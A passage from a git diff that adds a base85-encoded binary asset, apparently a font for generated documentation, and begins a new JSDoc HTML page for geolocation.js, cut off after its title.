z*7a*x8RXvU`rgvU<6G?%w*dDlG{XWc7C!H;60wykK2wIMIO2nAd!h2nsnBMqp~07* zK})tFmu7C~+UcwFxZ%uvA%7}E=XvE9X`|R>UbY`D)WQpu-8IHoE*c31?AI~-mymgO?xjU{r*J_Ut~OVlUBto9>hio;pK{ZL2<95 z`~m#Bf=X?LHV7jvxKxT%pg(-hS$CPa+HN~NCB#$YwKyD;bc;bNz2NeG7%xS@Uw;9- zr*m6j$Y?;gTDw_smyGi9()A_2%C5?~%?yn{B&EA!Wv{(6GtNu;++@2e({oYgzlf`t zJwkH3$Z-uhtNIz==Ff}~2h*JHhB0kDhQwp>L{kAx=8h-?`z6%@+mT%P98&VmRRfyj z2*<+_LwTy4lrT6n<;7gk&{*U}q($`rNFGNh2X%4cRui#06F?_uUr*7%Ro(#IF9W|n z`ZGwjkgK4eA6VAu==;)a(P;S`&`?*<(eYp!IORestiqToCs?hI?MbNn#Cd1w;3oF{ zBY$j9S%QAd>`uLlhWKKav+RJ{^Uot#CJ8=*tPwNUf{O(f76>SC8D=X&Kt^;|ZtibU zxd2`1K<EvttqCCi}SP~&$N3SnNr;btH zcL9yd)f&4jp3i)8h2-ze=fSKR-bh$=jJ~hF&_5ZUpxkk}8QT`8CxwsQxL3LcHz%R4r^@oV`)=)-RT2%uMTKy(gtVEh6!t}9TAPL>F!B;nf95G_w z2`YuGy+$yG0NP~UiI%{esDPxDHTWnJbg2sO@ zYJtc(P-D;(2Qkk?!UPdQJ>dB@U}~@`i{@ZXN+dOmCP`{&rnzaeQsvMWHd;iz=Ce9q z1q5=>vst!l&@>VVyGu-`<4v~v=X_hRMuW#GqgF=CCJaAx=^Ez**C+%%pjgou+!Z0k z%D0(lFuz_gwc_+bYlUKFnK3!=a&1Jf6W>1=oP4C624Uzi@AQKC4nCo47uGqcW@1 zFF3sscsc1w`z9BRGy7f?+DaO3c?ld*gqY%!B6@oUTKn7L(CZ3JF;81smQI_;H}SM( zSfguBnX{d`>|tkSWNZh&kcpn~xU?ia%rI!V<^>H?K<}N3;O5A~OqsQYnEgi0uprA; z(Loh-g7?8Z3O1KCrX#WX`q5vSD6B*}RPX89JwUGXYz*cCmOY=kGSsP_qG!mdrK+ul zULmc>?olQ@Zu!`!M)kC*k%}Vy=T45adTBJ5`0;PIlvAs9Kje-6`)E)HdLn z)q1r^%1UC4Gv}5luzy6;5^5q(8H}q_L#%rgs>RB^LosM-UAQzxIP~ikNyH ztInDtxtV#)Mpd11gtYXha{}<|zyoYWaRQth0>ahFW6e3uin+|ZwZp0=;q>ddIT>q| zyvZR5smj5(w^bP|XWsxpZvVpd!334!+Eg&%-VO{Zpo6XrkYo1A!s!n&MV3=1oK!Oo z=r8bO-F6iVPY;||z<46Bu;NC;Ge`PsxkvW6Pm>OA%y~S4TL@mxx(inG4yWRErqDFgm3bd?TAh=vc>#>?oNO~h$X<#=u zSr2MGFj}w8bL3?`R?k{#1s~fQeQ@`wZL8&<78iQ^IWPZgWw&Rek6##Bl5+febOdX& zr`!v-Q8#5IucX}jSM`2c$ZW~O=(4)#$@IQO(th~8$3worgTc;#ke_mUTQe{@bMiti zB25dEv-K&o-D;LBEprDKIgx1#9*+Xc?3w3k2rN}86D><=sTJi|?BvuI2eZLoL@uDp z+?BXAyy`wS`2zYvsNAwTBv91gj4^Z2pmD9}P^NmtJa*aYH~x)3np6ScS1p%G0=ZjV zoIv57bHcjQUr1UiwpN{~{NodH@w0RKT@Ks@cblhDJ3PO0`oO<`R6K>a7K5iDzS>P! zjN)!G(o5`yY#f=+h8otpOh-Z)sS#DJOc(XQnoUEy@j%tfERdT|L=>b$P!~^V`Sx{m zW4E))~py z()PrLy~#oI5tU!iCBD{NaR>Zj@23?q*b46BDcd`hGkyavmQXy^C zv^V@`0a^=*ZA=EZ)vN;&O<;Zd2S&be~?-d)Yl93ZO<(fOUEdqf8FxeIfmcF^* zIC}~ZoP71p&ejWeMt|YKlkLrtuoys#%<2U*P%i3< zmINH^{K0A<2&W~1QBKCP#O}< zZ0+vHkM0s)nzJH`C=cO|Prjg2JGL_N?znTAGYTXj2Fn7^AD~eFz{&Fm0+D55 zbVP@fETc+At^IA8KY)=$VDkLyLtEqzqD_(c1K!i4>PC)hU)4q(L}+y&+M7aT1vx)a;P#X1vW5?EC; z;OZa_!>`~v>voQ-yA4s~8*v3h0o`U?W%*ZeZO&r+E?m87DarpETu*{7SRb(XJZ*#< zkni1x%S23G~zFm&5x+zjEUcujwCoK+nhfpZN+$wLDbA#9tw zy&xV^)cykp7_^pf4Jup)G^Z2j{j`*%)?kf{PfdRV=W(3MC+_>cs^w5v+NJLyErp`; zClNeDQ#B#U}X6?(nuAWH>_No+lyMTq189Okz_8v$unQwoQqrB*_a z_&u+o-k_F{)Z_~mT0wGfNQ{q7ERQqf2AWP%R$V^ea47Aff{GLIEn&rkGBd4!9pX7I z@bv-KHvlVHU9$*SHI&^lnHorD84C5dv}G3&PiCnBKVf&4ieqIrzso5*(80)xDvDXf zy~EDxs|`57ig5%?!WZkXYx+DXNolF9%!0K}Ab#(ct03JcL4fKjh~eR>O<+E@TJbE7 zrPqJ@JN*hPAALGrSNJyl?zXQ+j_S2-;?)6XH$A<(VH)nfcWY4^<|09!Uuc6cEKi1dNP0t)Y&E=K%oq#{Y)^tCoez58hnGsr}vbR&X z*TkSRfwE+o8%5DqFw5^KiD*wThTBteTRtMTdZcB~iZR@?k_eF^&TQ8<-Q!M9Y7-xm z<;ntc>tuD`X=c^OnXd9VyuZp-UHcwFqYinJcnBT39Tt9u0F@nRn@eumx57%#Z%7oi z7*TbYrHZ^Pt#eD*vxYL*$?-hQ4#9?>MYSL4S76_eP-+d^`CG70!YYkB>~+Tr&A>hE z0;k`Eo^q4SQ%mpxy+cJnaYyL3v8wMJfy1fq5IbRtNIFT9Qo$6P;}*cNk`!fXDyS~wBh*EK)4OILqx_t1B;>XAq2 zKe}}<>QWdeB0p$9aDQ-m(=l{Hh zSF)7L^I7@4>uSq=mD5Hoz{aavW>n4`Gr#erJbbSIw5RIGMnCP?XX;bWsy$e}X5PMN z6Gp5JYryOQi#PqUXChgW_rZI+#s}y5FR^vuJsq0v-^KOBFm>m>j?n!~`q=?V=w5-4 za}z2lVa|=Nx%Hzm-1-se*l2@wt(rh8Lrox7Elm|t2zsWwZ;98esSK}#7=Ex4!Ykw& zgz#dnf$nB4DUnXhE%2&{z$-Z^KJItob<&2=yudYy4{52+dT{@`dM*a8e96V^`*{jl6+jPK;G=CO$TdS5ycu z-cO?HIl{0Ssjen)ZCb$6#zkZ)#tLf2!YaBn_N60PLXymjHhIqp*Z4Oyo+Jc3+R-q3R8PAtVhMF@LB`jhsb-LQ_(!NG^qmwS~9DFt5)xQKw6_2Z?7^pU;9uJg4;g) z0L!{5V(7vM6uyHZVmR<8)`d`VqAN8vmDQM99oDo|gM(Fmg|1Zcd0a7}4r#B}keFi4 zO~=EE>uWB2``rhBf50f}>gr_NclRc;r5<cAqJr$e+u?(l>o zr!&5M6YsxpE`tB6{*B;&4a71%0$szbZ|?8W@%Bolm>oB=oarR2j%#o=UgABa5zEWOBX*m8?Alhix+m1J=^N7{u+&Mm)8f57tBi{9?h<&_6dUk&mmac)G-hk9mE)AXHs4yzs)@XLu=xtMmRML6vb?!V1uQ=KD> zjp9XNANc=flzli#QLkuHCCJE2p~DrO242z0y6?wSH8>o0Rs_guI+L)=>0#G+da!Z+ zL|0wRJ@aM{TfD4dy7=v~hcenNUg#=Vv?Q1Ja!dhOS@L3Dx91KdH3t^pWDL@r1p)QB zN%fwR8*UcL7qaF~oN)h~@e}@dcd_4J+^sOTr*vTK?3rW7PM>U6LRwDmezZWng3E3{KP5LPDZVGEr^SecdIj0Hz# z`JmfUbNuG9rs*R(486T?N_MB{ai*!_C2y9uTlYE3;ak@pbC$Qf_a3#p+W!CJy>ble z^gHj;FBe9J@6w0ol;8cF()?VUZ~~X|yQz`_30S-9thrPZ{#TH~J_W$;%V!_Jpm>cj zV>{0+_6jFrhGQd0FuK`1;d{87KlwqM2lH!`Z3Q@w-JSeE?-c1!47)TLCw|CeUi)kU zCi6weE+h820BHd?xy7dxz)yOtcd`P0!f+rB9EWHo39Q+KZ4droH)`ao(>u=>3B#gs7BoWOckqskU-pb&a#K>o~V|$W#^Wt21hR%USTk|_UFJevOoHfGI z=Ff|8kbbbv$B+T6eWyT{8H)n@>;O^>E>rlk16ZvHGoJio0~}H6rv|WQaF5fIr+sQb zUT%R|h{mL0-dcJu-n3#K{a%)0laiu#3y!zmnm|f|Z@;#rztNYKW&M%$K7tRtTsni& z(H{cC(=dwi!V+1))3EZ)yn)F+)2vlGEGTNPo)OkQssiz280Q39b|`k~9FKum4 z0xiZ^UPupW&4UGxi+P<1ytcf+BjBlX&ynQwWY}q)Jp0eDpJ|vc>&}zU$z3%y!Of)O z0$NVa1<#R=!H#&>^5A*34|o;tKl(j-6yj?ZO^5sT`-pus-%)GZH)*x*R`7_#KG$Dl zU$AEqVQd>YneE|3wqtJNJ7oZ2w*}4(*kFqa;N6JemFpF7Zba>3D_`@)R*0QxA$Fvt zUSq}l+vrdwR)TsVvmP9RUmaH!Fr}q>*qsGwTE&}&oACzR265bWsb@jaCfERG9k^bK z*38CUQ6gT^>a!C$!U}G66;}vNb+#m4kT)peeTCmh5GE%1W;b?0P!bwZ#X3GTB6O*l zDh=}aFbzI*8`+N{_$=K6v}_E-q?(9X@R&)omb;_WYgZPtp za5L#%m2|d3Ek`1gsd*f`W9%jrn?2fn;>~}Q0}_^cjV{eb=>GwC+%CWX0C?JCU}Rum zV3eFSTV&(!cz&C&4DuWdAaM4ogb9rPSNTtXeI0u-kjufq1QG=RYH18{0C?JCU}Rw6 zNcy`LNHYAZ{8!DsjsYlw0zLo$kVOWx0C?JMlTTz^Q543%ckg|FR2Ef3q){;BrJz$5@AjAKh@&~T@aHXC^1ZKCXcM$I`yLlsdV zIa9#`=gQ6>y$-n3 zXt_fO-40r&PLdoSaeR!H%98Q;vH8LHBwGFqT3$f12u-`Ezc^Py#Vp|l^WK{efM3R_ z*+yVidDeBFV+Su;^Ds4S7Ld}L@tN6n*7(1oIYy*Ep-!!v5Owtix6C3Y`Oips*il}* zZqoKU@@t4BZaQ{-BsqGP`E8!_2xFYvH45-%FlNn3#vf?l z4)f=|9PX3b?<_tSFRTv(&>o{5SVgU}1>8P$5Zh|pi-K2q1dGsGTN zseyjS`%?${syOd_CAkZ5N)4$`IVbO-hXD$FTLtG4MlAAPK4L`BIij%Z&Cwg?sw(ef z74y!u^A*{fUM0+12h6jvs zOiWCZnAR~}Vfw{v#+=05#k`F981o|*1r`^U7M6RgGORhQCs^OH1+i^ld&DlqZp0qP zUdDcoqk>}#CmW{^XA9>B&TCw1Tz*_>TvNFAaoypT;P&F~;Xc5_#}mM_fad_uCtfMu z7~U@44ZL@F|M5xjS@9+CRq-w3SKwd4|3;ud;DDfj;5i`$As?X$LidFJ3D*dp5MdE1 z6L}))Cpt&;k(hy4jMxgX8{%T(PU0=%%f#PE7y)67#12U=$u!9|lJ}$%q$WuVNw-OF zkiI1SP9{gDO=geG6ImtM64?c^KjiG>667YyZIgQ?FD4%%KS4oAAxmM7!Z}4IMH|ID z#YKuwl&qAplx8WNQu?8+pzNVsq&!3Uj*5Val}d_ApUMH1XR2JPIjS>MkEni9lTmX~ zt5fGt&r(05VW2TjlR-00i$yC+YlAkMc7paS?Q=RTI#xO{Iy-a)bp3RDbkFHA=&9-D z>7CJ+&`;6dV!&YFVQ|3Uogs_i9wRfO7^6u>r;OQfKoMglV*_I!;|${-;|<2=OxR2u zOwvp`OjZHm5tDl+zf69anwc&#{b0spres!NcFEkxe2w`I0CXFPng9U+008g+LI4E- zJ^%#(0swjdhX8H>00A@r{Qv|20eIS-Q_C&{K@>eb?HSKlh=oPR%7WH2NJK>96(K@` zu(9dsX``9Z(%s^*_65Gd#xIBuU}NPIe1K1I>Q;HQ85^nG>QlGQxpnWYY5;wBfDNmq z6F@@K*unr;8W+%u8-s1k;nv_5jNrxKRt(|Y;5PJI9R|1K&Kfef1EbcX!CjcK-VE-> zL1Eb79^y-bd$C)1HTVgG_Nc+n@a%akBSMvy(XJ7q0*B^v?GpuvafU0_pjb!rI=H8m z;GswxH>ij)dRNJg$*VDrgC*jGYBl>3KgKCsY|$4IIoP596e+g3uHu|JpWFp{0%24* zC*+OO8dVM!sfnmkIjd~ErmTGQJ&Bo`Y?RIw?Wgin*DO*bv+7GGHL3jS67__>7>5l# z@TCezSXca(#hXY*Dq1Gl=&na{S|A?PeZ4+r=814CoP)1Erp&vsQ_Xv>?k%Ht784v7 zGFCJ=G|zo%6(n3 zcQ~eHuf($_xj&03@#w!~@&hCMrV%xx3>||Npk@hPSN6 z-JQW!fw7H_0>cTefspV9!Crvi8uS4OZox_58HWep6}t7u8~5_bU2>PZBZ`*zt-O6H6TNB#=lF$)u1<8tG(^Nfz1UkV_u<6i`SJ#gtG=D_YZrwzQ)? z9q33WI@5)&bfY^KG<2-kuv3PEaw_OSPkPatKJ=v@PF(b-5;qsKztm7)X`M`R%vxPkz=8(j&nYXNAml(yw zHZil28@!iT_Hu+@{Ny(WIL2LWbDUYsW(U>Wr-nP+<1r6-$Rj?6zxRwMJmmzw@XvPg zlIOg@&u6}}i8%zA%RFkSV;}X*r-2}igjm2r7V(M2ETM^|EN2-P+0RN=u!_}u;TxBD z#Ys+anb*AIjl@a3BuJtpNwTC!s-#J}WJsoDNj9fB!+9=nle3)T78^J!Ib7p9S0q>R zB%iH(mjWr2A}N*qGq^*+`sT!~_VKtP`-Ih%R;A6{ za<;Bp{{lIAr&0g_086+4$WmCb0RfI#xd;FV0AnDq0V71P10!&-7eyc-OSk|IQA@A} zQ(9QCG#jueSzu-$id9&!0wrOv0YzgYVz2@uM6wG31}d@)1_mm!6b1$=S+WEu2}M#w zvJ40ZDzOFuM6o0Rh*4OuK!{ke1_MN~CIN_1ShxfLh*+@(0Yq6@Sy{LN|Anvwjj;s) ML;wL%uV=LY00kR;TmS$7 literal 0 HcmV?d00001 diff --git a/docs/geolocation.js.html b/docs/geolocation.js.html new file mode 100644 index 000000000..254ddf6d5 --- /dev/null +++ b/docs/geolocation.js.html @@ -0,0 +1,159 @@ + + + + + JSDoc: Source: geolocation.js + + + + + + + + + + +